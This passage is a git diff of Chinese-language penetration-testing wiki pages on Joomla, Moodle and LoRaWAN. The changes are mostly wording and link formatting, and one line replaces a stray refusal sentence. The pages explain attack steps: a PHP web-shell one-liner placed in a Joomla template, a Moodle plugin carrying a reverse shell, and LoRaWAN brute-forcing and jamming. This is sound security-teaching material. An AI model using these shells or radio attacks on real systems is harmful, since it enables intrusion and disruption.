https://developer.joomla.org/stats/cms_version | python3 -m json.tool @@ -53,12 +53,12 @@ curl https://www.joomla.org/ | grep Joomla | grep generator # paths. [...] ``` -抱歉，我无法提供该文件的内容。 +- README.txt ``` 1- What is this? * This is a Joomla! installation/upgrade package to version 3.x * Joomla! Official site: https://www.joomla.org -* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history +* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history) * Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging ``` ### 版本 @@ -92,11 +92,11 @@ admin:admin ``` ## RCE -如果你成功获取了 **管理员凭据**，你可以通过向 **模板** 添加一段 **PHP 代码** 来实现 **RCE**。我们可以通过 **自定义** 一个 **模板** 来做到这一点。 +如果你成功获取了 **管理员凭据**，你可以通过添加一段 **PHP 代码** 来 **获得 RCE**。我们可以通过 **自定义** 一个 **模板** 来实现这一点。 1. **点击** 左下角的 **`Templates`** 在 `Configuration` 下拉出模板菜单。 2. **点击** 一个 **模板** 名称。我们选择 **`protostar`** 在 `Template` 列标题下。这将带我们到 **`Templates: Customise`** 页面。 -3. 最后，你可以点击一个页面以拉出 **页面源代码**。我们选择 **`error.php`** 页面。我们将添加一个 **PHP 一行代码以获得代码执行**，如下所示： +3. 最后，你可以点击一个页面以拉取 **页面源代码**。我们选择 **`error.php`** 页面。我们将添加一个 **PHP 一行代码以获得代码执行**，如下所示： 1. **`system($_GET['cmd']);`** 4. **保存并关闭** 5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id` diff --git a/src/network-services-pentesting/pentesting-web/moodle.md b/src/network-services-pentesting/pentesting-web/moodle.md index 66130ac77..f217e0800 100644 --- a/src/network-services-pentesting/pentesting-web/moodle.md +++ b/src/network-services-pentesting/pentesting-web/moodle.md @@ -20,8 +20,8 @@ http://moodle.schooled.htb/moodle/mod/forum/version.php 3.10.0-beta [+] Possible interesting urls found: -Static readme file. - http://moodle.schooled.htb/moodle/README.txt -Admin panel - http://moodle.schooled.htb/moodle/login/ +Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt) +Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/) [+] Scan finished (0:00:05.643539 elapsed) ``` @@ -66,11 +66,11 @@ cmsmap http://moodle.example.com/ ## **RCE** -你需要拥有**管理员**角色，并且你**可以在**“网站管理”**选项卡中安装插件**： +你需要拥有**管理员**角色，并且你**可以在**“站点管理”**选项卡中安装插件**： ![](<../../images/image (630).png>) -如果你是管理员，你可能仍然需要**激活此选项**。你可以在moodle权限提升的PoC中查看如何操作：[https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)。 +如果你是管理员，你可能仍然需要**激活此选项**。你可以在moodle特权提升PoC中查看如何操作：[https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)。 然后，你可以**安装以下插件**，该插件包含经典的pentest-monkey php r**ev shell**（_在上传之前，你需要解压缩它，修改revshell的IP和端口，然后再压缩它_） @@ -78,7 +78,7 @@ cmsmap http://moodle.example.com/ moodle-rce-plugin.zip {{#endfile}} -或者你可以使用来自[https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE)的插件来获取带有“cmd”参数的常规PHP shell。 +或者你可以使用来自[https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE)的插件，以获取带有“cmd”参数的常规PHP shell。 要访问启动恶意插件，你需要访问： ```bash diff --git a/src/todo/radio-hacking/low-power-wide-area-network.md b/src/todo/radio-hacking/low-power-wide-area-network.md index 41b875502..36588b975 100644 --- a/src/todo/radio-hacking/low-power-wide-area-network.md +++ b/src/todo/radio-hacking/low-power-wide-area-network.md @@ -35,7 +35,7 @@ ## 最近的漏洞 (2023-2025) * **CVE-2024-29862** – *ChirpStack gateway-bridge 和 mqtt-forwarder* 接受绕过有状态防火墙规则的 TCP 数据包，导致远程管理接口暴露。分别在 4.0.11 / 4.2.1 中修复。 -* **Dragino LG01/LG308 系列** – 多个 2022-2024 CVE（例如 2022-45227 目录遍历，2022-45228 CSRF）在 2025 年仍未修补；在数千个公共网关上启用未认证的固件转储或配置覆盖。 +* **Dragino LG01/LG308 系列** – 多个 2022-2024 CVE（例如 2022-45227 目录遍历，2022-45228 CSRF）在 2025 年仍未修补；在数千个公共网关上启用未经身份验证的固件转储或配置覆盖。 * Semtech *数据包转发器 UDP* 溢出（未发布的建议，2023-10 修补）：构造的上行数据包大于 255 B 触发堆栈溢出 -> 在 SX130x 参考网关上 RCE（由 Black Hat EU 2023 “LoRa Exploitation Reloaded” 发现）。 --- @@ -61,7 +61,7 @@ python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt 强制 SF12/125 kHz 以增加空中时间 → 耗尽网关的占空比（拒绝服务），同时对攻击者的电池影响较小（仅发送网络级 MAC 命令）。 -### 4. 反应式干扰 +### 4. 反应性干扰 运行 GNU Radio 流图的 *HackRF One* 在检测到前导码时触发宽带啁啾 - 阻塞所有扩频因子，发射功率 ≤200 mW；在 2 公里范围内测量到完全中断。 @@ -90,6 +90,6 @@ python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt ## 参考文献 -* LoRaWAN 审计框架 (LAF) – https://github.com/IOActive/laf -* Trend Micro LoRaPWN 概述 – https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a +* LoRaWAN 审计框架 (LAF) – [https://github.com/IOActive/laf](https://github.com/IOActive/laf) +* Trend Micro LoRaPWN 概述 – [https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a](https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a) {{#include ../../banners/hacktricks-training.md}}